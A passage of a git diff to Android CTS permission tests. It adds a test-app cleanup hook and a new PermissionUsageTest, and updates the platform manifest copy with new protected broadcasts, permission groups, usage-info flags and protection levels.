+ sLock.notifyAll();
+ }
+ }
+
+ public static NotificationListenerService getInstance() throws Exception {
+ synchronized (sLock) {
+ if (sService == null) {
+ sLock.wait(5000);
+ }
+
+ return sService;
+ }
+ }
+
+ @Override
+ public void onListenerDisconnected() {
+ Log.i(LOG_TAG, "disconnected");
+
+ synchronized (sLock) {
+ sService = null;
+ }
+ }
+}
diff --git a/tests/tests/permission/src/android/permission/cts/PermissionGroupChange.java b/tests/tests/permission/src/android/permission/cts/PermissionGroupChange.java
index 4dbaab8..3b1cd6a 100644
--- a/tests/tests/permission/src/android/permission/cts/PermissionGroupChange.java
+++ b/tests/tests/permission/src/android/permission/cts/PermissionGroupChange.java
@@ -20,6 +20,8 @@
import static android.content.pm.PackageInfo.REQUESTED_PERMISSION_GRANTED;
import static android.content.pm.PackageManager.GET_PERMISSIONS;
+import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
+
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.fail;
@@ -37,6 +39,7 @@
import com.android.compatibility.common.util.SystemUtil;
+import org.junit.After;
import org.junit.Before;
import org.junit.Test;
@@ -141,6 +144,11 @@
mContext.startActivity(startApp);
}
+ @After
+ public void uninstallTestApp() {
+ runShellCommand("pm uninstall android.permission.cts.appthatrequestpermission");
+ }
+
@SecurityTest
@Test
public void permissionGroupShouldNotBeAutoGrantedIfNewMember() throws Throwable {
diff --git a/tests/tests/permission/src/android/permission/cts/PermissionUsageTest.java b/tests/tests/permission/src/android/permission/cts/PermissionUsageTest.java
new file mode 100644
index 0000000..5752801
--- /dev/null
+++ b/tests/tests/permission/src/android/permission/cts/PermissionUsageTest.java
@@ -0,0 +1,98 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.permission.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.Manifest;
+import android.content.Context;
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager;
+import android.content.pm.PermissionInfo;
+import android.content.pm.UsesPermissionInfo;
+import android.test.InstrumentationTestCase;
+
+import org.junit.Before;
+
+public final class PermissionUsageTest extends InstrumentationTestCase {
+ private PackageManager mPm;
+ private Context mContext;
+
+ @Override
+ @Before
+ public void setUp() throws Exception {
+ mContext = getInstrumentation().getTargetContext();
+ mPm = mContext.getPackageManager();
+ assertNotNull(mPm);
+ }
+
+ private UsesPermissionInfo getUsesPermissionInfo(String permission) throws Exception {
+ PackageInfo info = mPm.getPackageInfo(mContext.getPackageName(),
+ PackageManager.GET_PERMISSIONS);
+ assertNotNull(info);
+ assertNotNull(info.usesPermissions);
+ for (UsesPermissionInfo upi : info.usesPermissions) {
+ if (permission.equals(upi.getPermission())) {
+ return upi;
+ }
+ }
+ return null;
+ }
+
+ public void testBasic() throws Exception {
+ UsesPermissionInfo upi = getUsesPermissionInfo(Manifest.permission.READ_CONTACTS);
+ assertEquals(UsesPermissionInfo.USAGE_NO, upi.getDataSentOffDevice());
+ assertEquals(UsesPermissionInfo.USAGE_NO, upi.getDataSharedWithThirdParty());
+ assertEquals(UsesPermissionInfo.USAGE_NO, upi.getDataUsedForMonetization());
+ assertEquals(UsesPermissionInfo.RETENTION_NOT_RETAINED, upi.getDataRetention());
+ }
+
+ public void testRetentionWeeks() throws Exception {
+ UsesPermissionInfo upi
+ = getUsesPermissionInfo(Manifest.permission.READ_PHONE_STATE);
+ assertEquals(UsesPermissionInfo.USAGE_YES, upi.getDataSentOffDevice());
+ assertEquals(UsesPermissionInfo.USAGE_YES, upi.getDataSharedWithThirdParty());
+ assertEquals(UsesPermissionInfo.USAGE_YES, upi.getDataUsedForMonetization());
+ assertEquals(UsesPermissionInfo.RETENTION_SPECIFIED, upi.getDataRetention());
+ assertEquals(32, upi.getDataRetentionWeeks());
+ }
+
+ public void testUserTriggered() throws Exception {
+ UsesPermissionInfo upi
+ = getUsesPermissionInfo(Manifest.permission.RECORD_AUDIO);
+ assertEquals(UsesPermissionInfo.USAGE_USER_TRIGGERED, upi.getDataSentOffDevice());
+ assertEquals(UsesPermissionInfo.USAGE_USER_TRIGGERED,
+ upi.getDataSharedWithThirdParty());
+ assertEquals(UsesPermissionInfo.USAGE_USER_TRIGGERED,
+ upi.getDataUsedForMonetization());
+ assertEquals(UsesPermissionInfo.RETENTION_UNLIMITED, upi.getDataRetention());
+ }
+
+ public void testUndefined() throws Exception {
+ UsesPermissionInfo upi
+ = getUsesPermissionInfo(Manifest.permission.READ_CALENDAR);
+ assertEquals(UsesPermissionInfo.USAGE_UNDEFINED, upi.getDataSentOffDevice());
+ assertEquals(UsesPermissionInfo.USAGE_UNDEFINED, upi.getDataSharedWithThirdParty());
+ assertEquals(UsesPermissionInfo.USAGE_UNDEFINED, upi.getDataUsedForMonetization());
+ assertEquals(UsesPermissionInfo.RETENTION_UNDEFINED, upi.getDataRetention());
+ }
+
+ public void testUsageInfoRequired() throws Exception {
+ PermissionInfo pi = mPm.getPermissionInfo("android.permission.cts.D", 0);
+ assertTrue(pi.usageInfoRequired);
+ }
+}
diff --git a/tests/tests/permission2/res/raw/android_manifest.xml b/tests/tests/permission2/res/raw/android_manifest.xml
index fadf178..6f6b8e84 100644
--- a/tests/tests/permission2/res/raw/android_manifest.xml
+++ b/tests/tests/permission2/res/raw/android_manifest.xml
@@ -358,6 +358,8 @@
<protected-broadcast android:name="android.net.wifi.action.PASSPOINT_ICON" />
<protected-broadcast android:name="android.net.wifi.action.PASSPOINT_OSU_PROVIDERS_LIST" />
<protected-broadcast android:name="android.net.wifi.action.PASSPOINT_SUBSCRIPTION_REMEDIATION" />
+ <protected-broadcast android:name="android.net.wifi.action.PASSPOINT_LAUNCH_OSU_VIEW" />
+ <protected-broadcast android:name="android.net.wifi.action.WIFI_NETWORK_SUGGESTION_POST_CONNECTION" />
<protected-broadcast android:name="android.net.wifi.supplicant.CONNECTION_CHANGE" />
<protected-broadcast android:name="android.net.wifi.supplicant.STATE_CHANGE" />
<protected-broadcast android:name="android.net.wifi.p2p.STATE_CHANGED" />
@@ -399,6 +401,8 @@
<protected-broadcast android:name="android.telecom.action.DEFAULT_DIALER_CHANGED" />
<protected-broadcast android:name="android.provider.action.DEFAULT_SMS_PACKAGE_CHANGED" />
+ <protected-broadcast android:name="android.provider.action.SMS_MMS_DB_CREATED" />
+ <protected-broadcast android:name="android.provider.action.SMS_MMS_DB_LOST" />
<protected-broadcast android:name="android.intent.action.CONTENT_CHANGED" />
<protected-broadcast android:name="android.provider.Telephony.MMS_DOWNLOADED" />
@@ -486,6 +490,7 @@
<protected-broadcast android:name="android.telephony.action.CARRIER_CONFIG_CHANGED" />
<protected-broadcast android:name="android.telephony.action.DEFAULT_SUBSCRIPTION_CHANGED" />
<protected-broadcast android:name="android.telephony.action.DEFAULT_SMS_SUBSCRIPTION_CHANGED" />
+ <protected-broadcast android:name="android.telephony.action.SECRET_CODE" />
<protected-broadcast android:name="android.telephony.action.SHOW_VOICEMAIL_NOTIFICATION" />
<protected-broadcast android:name="android.telephony.action.SUBSCRIPTION_PLANS_CHANGED" />
@@ -582,7 +587,7 @@
<protected-broadcast android:name="android.media.tv.action.PREVIEW_PROGRAM_BROWSABLE_DISABLED" />
<protected-broadcast android:name="android.media.tv.action.WATCH_NEXT_PROGRAM_BROWSABLE_DISABLED" />
<protected-broadcast android:name="android.media.tv.action.CHANNEL_BROWSABLE_REQUESTED" />
- <protected-broadcast android:name="com.android.server.InputMethodManagerService.SHOW_INPUT_METHOD_PICKER" />
+ <protected-broadcast android:name="com.android.server.inputmethod.InputMethodManagerService.SHOW_INPUT_METHOD_PICKER" />
<!-- Time zone rules update intents fired by the system server -->
<protected-broadcast android:name="com.android.intent.action.timezone.RULES_UPDATE_OPERATION" />
@@ -605,11 +610,30 @@
<protected-broadcast android:name="android.intent.action.DOCK_IDLE" />
<protected-broadcast android:name="android.intent.action.DOCK_ACTIVE" />
+ <!-- Added in Q -->
+
+ <!-- For CarIdlenessTracker -->
+ <protected-broadcast android:name="com.android.server.jobscheduler.GARAGE_MODE_ON" />
+ <protected-broadcast android:name="com.android.server.jobscheduler.GARAGE_MODE_OFF" />
+ <protected-broadcast android:name="com.android.server.jobscheduler.FORCE_IDLE" />
+ <protected-broadcast android:name="com.android.server.jobscheduler.UNFORCE_IDLE" />
+
+ <protected-broadcast android:name="android.provider.action.DEFAULT_SMS_PACKAGE_CHANGED_INTERNAL" />
+
+ <protected-broadcast android:name="android.intent.action.DEVICE_CUSTOMIZATION_READY" />
+
<!-- ====================================================================== -->
<!-- RUNTIME PERMISSIONS -->
<!-- ====================================================================== -->
<eat-comment />
+ <!-- Grouping for platform runtime permissions is not accessible to apps
+ @hide
+ @SystemApi
+ -->
+ <permission-group android:name="android.permission-group.UNDEFINED"
+ android:priority="100" />
+
<!-- ====================================================================== -->
<!-- Permissions for accessing user's contacts including personal profile -->
<!-- ====================================================================== -->
@@ -628,14 +652,17 @@
<p>Protection level: dangerous
-->
<permission android:name="android.permission.READ_CONTACTS"
+ android:permissionGroup="android.permission-group.UNDEFINED"
android:label="@string/permlab_readContacts"
android:description="@string/permdesc_readContacts"
- android:protectionLevel="dangerous" />
+ android:protectionLevel="dangerous"
+ android:usageInfoRequired="true" />
<!-- Allows an application to write the user's contacts data.
<p>Protection level: dangerous
-->
<permission android:name="android.permission.WRITE_CONTACTS"
+ android:permissionGroup="android.permission-group.UNDEFINED"
android:label="@string/permlab_writeContacts"
android:description="@string/permdesc_writeContacts"
android:protectionLevel="dangerous" />
@@ -657,14 +684,17 @@
<p>Protection level: dangerous
-->
<permission android:name="android.permission.READ_CALENDAR"
+ android:permissionGroup="android.permission-group.UNDEFINED"
android:label="@string/permlab_readCalendar"
android:description="@string/permdesc_readCalendar"
- android:protectionLevel="dangerous" />
+ android:protectionLevel="dangerous"
+ android:usageInfoRequired="true" />
<!-- Allows an application to write the user's calendar data.
<p>Protection level: dangerous
-->
<permission android:name="android.permission.WRITE_CALENDAR"
+ android:permissionGroup="android.permission-group.UNDEFINED"
android:label="@string/permlab_writeCalendar"
android:description="@string/permdesc_writeCalendar"
android:protectionLevel="dangerous" />
@@ -686,6 +716,7 @@
<p>Protection level: dangerous
-->
<permission android:name="android.permission.SEND_SMS"
+ android:permissionGroup="android.permission-group.UNDEFINED"
android:label="@string/permlab_sendSms"
android:description="@string/permdesc_sendSms"
android:permissionFlags="costsMoney"
@@ -695,35 +726,43 @@
<p>Protection level: dangerous
-->
<permission android:name="android.permission.RECEIVE_SMS"
+ android:permissionGroup="android.permission-group.UNDEFINED"
android:label="@string/permlab_receiveSms"
android:description="@string/permdesc_receiveSms"
- android:protectionLevel="dangerous"/>
+ android:protectionLevel="dangerous"
+ android:usageInfoRequired="true" />
<!-- Allows an application to read SMS messages.
<p>Protection level: dangerous
-->
<permission android:name="android.permission.READ_SMS"
+ android:permissionGroup="android.permission-group.UNDEFINED"
android:label="@string/permlab_readSms"
android:description="@string/permdesc_readSms"
- android:protectionLevel="dangerous" />
+ android:protectionLevel="dangerous"
+ android:usageInfoRequired="true" />
<!-- Allows an application to receive WAP push messages.
<p>Protection level: dangerous
-->
<permission android:name="android.permission.RECEIVE_WAP_PUSH"
+ android:permissionGroup="android.permission-group.UNDEFINED"
android:label="@string/permlab_receiveWapPush"
android:description="@string/permdesc_receiveWapPush"
- android:protectionLevel="dangerous" />
+ android:protectionLevel="dangerous"
+ android:usageInfoRequired="true" />
<!-- Allows an application to monitor incoming MMS messages.
<p>Protection level: dangerous
-->
<permission android:name="android.permission.RECEIVE_MMS"
+ android:permissionGroup="android.permission-group.UNDEFINED"
android:label="@string/permlab_receiveMms"
android:description="@string/permdesc_receiveMms"
- android:protectionLevel="dangerous" />
+ android:protectionLevel="dangerous"
+ android:usageInfoRequired="true" />
- <!-- @TestApi Allows an application to read previously received cell broadcast
+ <!-- @SystemApi @TestApi Allows an application to read previously received cell broadcast
messages and to register a content observer to get notifications when
a cell broadcast has been received and added to the database. For
emergency alerts, the database is updated immediately after the
@@ -736,19 +775,19 @@
<p>Protection level: dangerous
@hide Pending API council approval -->
<permission android:name="android.permission.READ_CELL_BROADCASTS"
+ android:permissionGroup="android.permission-group.UNDEFINED"
android:label="@string/permlab_readCellBroadcasts"
android:description="@string/permdesc_readCellBroadcasts"
- android:protectionLevel="dangerous" />
+ android:protectionLevel="dangerous"
+ android:usageInfoRequired="true" />
- <!-- Allows financial apps to read filtered sms messages. -->
- <permission android:name="android.permission.SMS_FINANCIAL_TRANSACTIONS"
- android:protectionLevel="signature|appop" />
<!-- ====================================================================== -->
<!-- Permissions for accessing external storage -->
<!-- ====================================================================== -->
<eat-comment />
- <!-- Used for runtime permissions related to the shared external storage. -->
+ <!-- Used for runtime permissions related to the shared external storage.
+ @deprecated replaced by new strongly-typed permission groups in Q. -->
<permission-group android:name="android.permission-group.STORAGE"
android:icon="@drawable/perm_group_storage"
android:label="@string/permgrouplab_storage"
@@ -776,12 +815,14 @@
grants your app this permission. If you don't need this permission, be sure your <a
href="{@docRoot}guide/topics/manifest/uses-sdk-element.html#target">{@code
targetSdkVersion}</a> is 4 or higher.
- <p>Protection level: dangerous
+ @deprecated replaced by new strongly-typed permission groups in Q.
-->
<permission android:name="android.permission.READ_EXTERNAL_STORAGE"
+ android:permissionGroup="android.permission-group.UNDEFINED"
android:label="@string/permlab_sdcardRead"
android:description="@string/permdesc_sdcardRead"
- android:protectionLevel="dangerous" />
+ android:protectionLevel="dangerous"
+ android:permissionFlags="removed" />
<!-- Allows an application to write to external storage.
<p class="note"><strong>Note:</strong> If <em>both</em> your <a
@@ -796,12 +837,70 @@
read/write files in your application-specific directories returned by
{@link android.content.Context#getExternalFilesDir} and
{@link android.content.Context#getExternalCacheDir}.
- <p>Protection level: dangerous
+ @deprecated replaced by new strongly-typed permission groups in Q.
-->
<permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"
+ android:permissionGroup="android.permission-group.UNDEFINED"
android:label="@string/permlab_sdcardWrite"
android:description="@string/permdesc_sdcardWrite"
- android:protectionLevel="dangerous" />
+ android:protectionLevel="dangerous"
+ android:permissionFlags="removed" />
+
+ <!-- Runtime permission controlling access to the user's shared aural media
+ collection. -->
+ <permission-group android:name="android.permission-group.MEDIA_AURAL"
+ android:icon="@drawable/perm_group_aural"
+ android:label="@string/permgrouplab_aural"
+ android:description="@string/permgroupdesc_aural"
+ android:request="@string/permgrouprequest_aural"
+ android:priority="910" />
+
+ <!-- Allows an application to read the user's shared audio collection. -->
+ <permission android:name="android.permission.READ_MEDIA_AUDIO"
+ android:permissionGroup="android.permission-group.UNDEFINED"
+ android:label="@string/permlab_audioRead"
+ android:description="@string/permdesc_audioRead"
+ android:protectionLevel="dangerous"
+ android:usageInfoRequired="true" />
+
+ <!-- Runtime permission controlling access to the user's shared visual media
+ collection, including images and videos. -->
+ <permission-group android:name="android.permission-group.MEDIA_VISUAL"
+ android:icon="@drawable/perm_group_visual"
+ android:label="@string/permgrouplab_visual"
+ android:description="@string/permgroupdesc_visual"
+ android:request="@string/permgrouprequest_visual"
+ android:priority="920" />
+
+ <!-- Allows an application to read the user's shared images collection. -->
+ <permission android:name="android.permission.READ_MEDIA_IMAGES"
+ android:permissionGroup="android.permission-group.UNDEFINED"
+ android:label="@string/permlab_imagesRead"
+ android:description="@string/permdesc_imagesRead"
+ android:protectionLevel="dangerous"
+ android:usageInfoRequired="true" />
+
+ <!-- Allows an application to read the user's shared video collection. -->
+ <permission android:name="android.permission.READ_MEDIA_VIDEO"
+ android:permissionGroup="android.permission-group.UNDEFINED"
+ android:label="@string/permlab_videoRead"
+ android:description="@string/permdesc_videoRead"
+ android:protectionLevel="dangerous"
+ android:usageInfoRequired="true" />
+
+ <!-- Allows an application to access any geographic locations persisted in the
+ user's shared collection. -->
+ <permission android:name="android.permission.ACCESS_MEDIA_LOCATION"
+ android:permissionGroup="android.permission-group.UNDEFINED"
+ android:label="@string/permlab_mediaLocation"
+ android:description="@string/permdesc_mediaLocation"
+ android:protectionLevel="dangerous"
+ android:usageInfoRequired="true" />
+
+ <!-- @hide @SystemApi @TestApi
+ Allows an application to modify OBB files visible to other apps. -->
+ <permission android:name="android.permission.WRITE_OBB"
+ android:protectionLevel="signature|privileged" />
<!-- ====================================================================== -->
<!-- Permissions for accessing the device location -->
@@ -824,32 +923,37 @@
<p>Protection level: dangerous
-->
<permission android:name="android.permission.ACCESS_FINE_LOCATION"
+ android:permissionGroup="android.permission-group.UNDEFINED"
android:label="@string/permlab_accessFineLocation"
android:description="@string/permdesc_accessFineLocation"
android:backgroundPermission="android.permission.ACCESS_BACKGROUND_LOCATION"
- android:protectionLevel="dangerous|instant" />
+ android:protectionLevel="dangerous|instant"
+ android:usageInfoRequired="true" />
<!-- Allows an app to access approximate location.
Alternatively, you might want {@link #ACCESS_FINE_LOCATION}.
<p>Protection level: dangerous
-->
<permission android:name="android.permission.ACCESS_COARSE_LOCATION"
+ android:permissionGroup="android.permission-group.UNDEFINED"
android:label="@string/permlab_accessCoarseLocation"
android:description="@string/permdesc_accessCoarseLocation"
android:backgroundPermission="android.permission.ACCESS_BACKGROUND_LOCATION"
- android:protectionLevel="dangerous|instant" />
+ android:protectionLevel="dangerous|instant"
+ android:usageInfoRequired="true" />
<!-- Allows an app to access location in the background. If you
are requesting this, you should also request {@link #ACCESS_FINE_LOCATION}.
Requesting this by itself is not sufficient to give you
location access.
<p>Protection level: dangerous
- @hide
-->
<permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION"
+ android:permissionGroup="android.permission-group.UNDEFINED"
android:label="@string/permlab_accessBackgroundLocation"
android:description="@string/permdesc_accessBackgroundLocation"
- android:protectionLevel="dangerous|instant" />
+ android:protectionLevel="dangerous|instant"
+ android:usageInfoRequired="true" />
<!-- ====================================================================== -->
<!-- Permissions for accessing the call log -->
@@ -887,9 +991,11 @@
<p>Protection level: dangerous
-->
<permission android:name="android.permission.READ_CALL_LOG"
+ android:permissionGroup="android.permission-group.UNDEFINED"
android:label="@string/permlab_readCallLog"
android:description="@string/permdesc_readCallLog"
- android:protectionLevel="dangerous" />
+ android:protectionLevel="dangerous"
+ android:usageInfoRequired="true" />
<!-- Allows an application to write (but not read) the user's
call log data.
@@ -905,6 +1011,7 @@
<p>Protection level: dangerous
-->
<permission android:name="android.permission.WRITE_CALL_LOG"
+ android:permissionGroup="android.permission-group.UNDEFINED"
android:label="@string/permlab_writeCallLog"
android:description="@string/permdesc_writeCallLog"
android:protectionLevel="dangerous" />
@@ -915,9 +1022,11 @@
<p>Protection level: dangerous
-->
<permission android:name="android.permission.PROCESS_OUTGOING_CALLS"
+ android:permissionGroup="android.permission-group.UNDEFINED"
android:label="@string/permlab_processOutgoingCalls"
android:description="@string/permdesc_processOutgoingCalls"
- android:protectionLevel="dangerous" />
+ android:protectionLevel="dangerous"
+ android:usageInfoRequired="true" />
<!-- ====================================================================== -->
<!-- Permissions for accessing the device telephony -->
@@ -946,23 +1055,28 @@
<p>Protection level: dangerous
-->
<permission android:name="android.permission.READ_PHONE_STATE"
+ android:permissionGroup="android.permission-group.UNDEFINED"
android:label="@string/permlab_readPhoneState"
android:description="@string/permdesc_readPhoneState"
- android:protectionLevel="dangerous" />
+ android:protectionLevel="dangerous"
+ android:usageInfoRequired="true" />
<!-- Allows read access to the device's phone number(s). This is a subset of the capabilities
granted by {@link #READ_PHONE_STATE} but is exposed to instant applications.
<p>Protection level: dangerous-->
<permission android:name="android.permission.READ_PHONE_NUMBERS"
+ android:permissionGroup="android.permission-group.UNDEFINED"
android:label="@string/permlab_readPhoneNumbers"
android:description="@string/permdesc_readPhoneNumbers"
- android:protectionLevel="dangerous|instant" />
+ android:protectionLevel="dangerous|instant"
+ android:usageInfoRequired="true" />
<!-- Allows an application to initiate a phone call without going through
the Dialer user interface for the user to confirm the call.
<p>Protection level: dangerous
-->
<permission android:name="android.permission.CALL_PHONE"
+ android:permissionGroup="android.permission-group.UNDEFINED"
android:permissionFlags="costsMoney"
android:label="@string/permlab_callPhone"
android:description="@string/permdesc_callPhone"
@@ -972,6 +1086,7 @@
<p>Protection level: dangerous
-->
<permission android:name="com.android.voicemail.permission.ADD_VOICEMAIL"
+ android:permissionGroup="android.permission-group.UNDEFINED"
android:label="@string/permlab_addVoicemail"
android:description="@string/permdesc_addVoicemail"
android:protectionLevel="dangerous" />
@@ -980,6 +1095,7 @@
<p>Protection level: dangerous
-->
<permission android:name="android.permission.USE_SIP"
+ android:permissionGroup="android.permission-group.UNDEFINED"
android:description="@string/permdesc_use_sip"
android:label="@string/permlab_use_sip"
android:protectionLevel="dangerous"/>
@@ -988,13 +1104,14 @@
<p>Protection level: dangerous
-->
<permission android:name="android.permission.ANSWER_PHONE_CALLS"
+ android:permissionGroup="android.permission-group.UNDEFINED"
android:label="@string/permlab_answerPhoneCalls"
android:description="@string/permdesc_answerPhoneCalls"
android:protectionLevel="dangerous|runtime" />
<!-- Allows a calling application which manages it own calls through the self-managed
{@link android.telecom.ConnectionService} APIs. See
- {@link android.telecom.PhoneAccount#CAPABILITY_SELF_MANAGED for more information on the
+ {@link android.telecom.PhoneAccount#CAPABILITY_SELF_MANAGED} for more information on the
self-managed ConnectionService APIs.
<p>Protection level: normal
-->
@@ -1015,6 +1132,7 @@
<p>Protection level: dangerous
-->
<permission android:name="android.permission.ACCEPT_HANDOVER"
+ android:permissionGroup="android.permission-group.UNDEFINED"
android.label="@string/permlab_acceptHandover"
android:description="@string/permdesc_acceptHandovers"
android:protectionLevel="dangerous" />
@@ -1038,9 +1156,11 @@
<p>Protection level: dangerous
-->
<permission android:name="android.permission.RECORD_AUDIO"
+ android:permissionGroup="android.permission-group.UNDEFINED"
android:label="@string/permlab_recordAudio"
android:description="@string/permdesc_recordAudio"
- android:protectionLevel="dangerous|instant"/>
+ android:protectionLevel="dangerous|instant"
+ android:usageInfoRequired="true" />
<!-- ====================================================================== -->
<!-- Permissions for activity recognition -->
@@ -1048,7 +1168,7 @@
<eat-comment />
<!-- Used for permissions that are associated with activity recognition.
- TODO(zezeozue): Add icon -->
+ TODO(zezeozue). STOPSHIP: Add icon -->
<permission-group android:name="android.permission-group.ACTIVITY_RECOGNITION"
android:label="@string/permgrouplab_activityRecognition"
android:description="@string/permgroupdesc_activityRecognition"
@@ -1059,9 +1179,11 @@
<p>Protection level: dangerous
-->
<permission android:name="android.permission.ACTIVITY_RECOGNITION"
+ android:permissionGroup="android.permission-group.UNDEFINED"
android:label="@string/permlab_activityRecognition"
android:description="@string/permdesc_activityRecognition"
- android:protectionLevel="dangerous|instant" />
+ android:protectionLevel="dangerous|instant"
+ android:usageInfoRequired="true" />
<!-- ====================================================================== -->
<!-- Permissions for accessing the UCE Service -->
@@ -1098,18 +1220,20 @@
android:priority="700" />
<!-- Required to be able to access the camera device.
- <p>This will automatically enforce the <a
- href="{@docRoot}guide/topics/manifest/uses-feature-element.html">
- <uses-feature>}</a> manifest element for <em>all</em> camera features.
+ <p>This will automatically enforce the
+ <a href="{@docRoot}guide/topics/manifest/uses-feature-element.html">
+ uses-feature</a> manifest element for <em>all</em> camera features.
If you do not require all camera features or can properly operate if a camera
is not available, then you must modify your manifest as appropriate in order to
install on devices that don't support all camera features.</p>
<p>Protection level: dangerous
-->
<permission android:name="android.permission.CAMERA"
+ android:permissionGroup="android.permission-group.UNDEFINED"
android:label="@string/permlab_camera"
android:description="@string/permdesc_camera"
- android:protectionLevel="dangerous|instant" />
+ android:protectionLevel="dangerous|instant"
+ android:usageInfoRequired="true" />
<!-- ====================================================================== -->
@@ -1130,9 +1254,11 @@
measure what is happening inside his/her body, such as heart rate.
<p>Protection level: dangerous -->
<permission android:name="android.permission.BODY_SENSORS"
+ android:permissionGroup="android.permission-group.UNDEFINED"
android:label="@string/permlab_bodySensors"
android:description="@string/permdesc_bodySensors"
- android:protectionLevel="dangerous" />
+ android:protectionLevel="dangerous"
+ android:usageInfoRequired="true" />
<!-- Allows an app to use fingerprint hardware.
<p>Protection level: normal
@@ -1457,6 +1583,7 @@
<!-- Allows SetupWizard to call methods in Networking services
<p>Not for use by any other third-party or privileged applications.
+ @SystemApi
@hide This should only be used by SetupWizard.
-->
<permission android:name="android.permission.NETWORK_SETUP_WIZARD"
@@ -1468,7 +1595,7 @@
@hide This should only be used by ManagedProvisioning app.
-->
<permission android:name="android.permission.NETWORK_MANAGED_PROVISIONING"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature" />
<!-- #SystemApi @hide Allows applications to access information about LoWPAN interfaces.
<p>Not for use by third-party applications. -->
@@ -1521,7 +1648,7 @@
@hide
-->
<permission android:name="android.permission.SUSPEND_APPS"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|wellbeing" />
<!-- Allows applications to discover and pair bluetooth devices.
<p>Protection level: normal
@@ -1593,7 +1720,7 @@
<permission android:name="android.permission.NFC_HANDOVER_STATUS"
android:protectionLevel="signature|privileged" />
- <!-- @hide Allows internal management of Bluetooth state when on wireless consnet mode.
+ <!-- @hide Allows internal management of Bluetooth state when on wireless consent mode.
<p>Not for use by third-party applications. -->
<permission android:name="android.permission.MANAGE_BLUETOOTH_WHEN_WIRELESS_CONSENT_REQUIRED"
android:protectionLevel="signature" />
@@ -1615,9 +1742,11 @@
<p>Protection level: dangerous
-->
<permission android:name="android.permission.GET_ACCOUNTS"
+ android:permissionGroup="android.permission-group.UNDEFINED"
android:protectionLevel="dangerous"
android:description="@string/permdesc_getAccounts"
- android:label="@string/permlab_getAccounts" />
+ android:label="@string/permlab_getAccounts"
+ android:usageInfoRequired="true" />
<uses-permission android:name="android.permission.GET_ACCOUNTS"/>
<!-- @SystemApi Allows applications to call into AccountAuthenticators.
@@ -1690,7 +1819,7 @@
<p>Not for use by third-party applications.
@hide -->
<permission android:name="android.permission.MANAGE_DEBUGGING"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- @SystemApi Allows an application to access the MTP USB kernel driver.
For use only by the device side MTP implementation.
@@ -1861,7 +1990,7 @@
<p>Protection level: signature|privileged
-->
<permission android:name="android.permission.BIND_CALL_REDIRECTION_SERVICE"
- android:protectionLevel="signature|privileged" />
+ android:protectionLevel="signature|privileged" />
<!-- Must be required by a {@link android.telecom.ConnectionService},
to ensure that only the system can bind to it.
@@ -1958,10 +2087,9 @@
<p>This permission should <em>only</em> be requested by the platform
document management app. This permission cannot be granted to
third-party apps.
- <p>Protection level: signature
-->
<permission android:name="android.permission.MANAGE_DOCUMENTS"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature|documenter" />
<!-- @hide Allows an application to cache content.
<p>Not for use by third-party applications.
@@ -2051,6 +2179,13 @@
<permission android:name="android.permission.INTERACT_ACROSS_USERS_FULL"
android:protectionLevel="signature|installer" />
+ <!-- @SystemApi Allows an application to start an activity within its managed profile from
+ the personal profile.
+ This permission is not available to third party applications.
+ @hide -->
+ <permission android:name="android.permission.INTERACT_ACROSS_PROFILES"
+ android:protectionLevel="signature|privileged" />
+
<!-- @SystemApi @hide Allows an application to call APIs that allow it to query and manage
users on the device. This permission is not available to
third party applications. -->
@@ -2086,9 +2221,9 @@
android:description="@string/permdesc_reorderTasks"
android:protectionLevel="normal" />
- <!-- @hide Allows an application to change to remove/kill tasks -->
+ <!-- @SystemApi @TestApi @hide Allows an application to change to remove/kill tasks -->
<permission android:name="android.permission.REMOVE_TASKS"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature|documenter" />
<!-- @SystemApi @TestApi @hide Allows an application to create/manage/remove stacks -->
<permission android:name="android.permission.MANAGE_ACTIVITY_STACKS"
@@ -2115,10 +2250,9 @@
<!-- Allows an application to start an activity as another app, provided that app has been
granted a permissionToken from the ActivityManagerService.
- <p>Not for use by third-party applications.
@hide -->
<permission android:name="android.permission.START_ACTIVITY_AS_CALLER"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- @deprecated The {@link android.app.ActivityManager#restartPackage}
API is no longer supported. -->
@@ -2468,7 +2602,8 @@
<permission android:name="android.permission.ASEC_RENAME"
android:protectionLevel="signature" />
- <!-- @SystemApi Allows applications to write the apn settings.
+ <!-- @SystemApi Allows applications to write the apn settings and read sensitive fields of
+ an existing apn settings like user and password.
<p>Not for use by third-party applications. -->
<permission android:name="android.permission.WRITE_APN_SETTINGS"
android:protectionLevel="signature|privileged" />
@@ -2687,7 +2822,7 @@
android:protectionLevel="signature" />
<!-- @SystemApi Allows an application to use
- {@link android.view.WindowManager.LayoutsParams#PRIVATE_FLAG_HIDE_NON_SYSTEM_OVERLAY_WINDOWS}
+ {@link android.view.WindowManager.LayoutsParams#SYSTEM_FLAG_HIDE_NON_SYSTEM_OVERLAY_WINDOWS}
to hide non-system-overlay windows.
<p>Not for use by third-party applications.
@hide
@@ -2860,7 +2995,7 @@
it.
@hide -->
<permission android:name="android.permission.BIND_ROLE_CONTROLLER_SERVICE"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- @SystemApi Must be required by the RuntimePermissionPresenterService to ensure
that only the system can bind to it.
@@ -2927,12 +3062,20 @@
<permission android:name="android.permission.BIND_TEXTCLASSIFIER_SERVICE"
android:protectionLevel="signature" />
- <!-- Must be required by a android.service.intelligence.IntelligenceService,
+ <!-- Must be required by a android.service.contentcapture.ContentCaptureService,
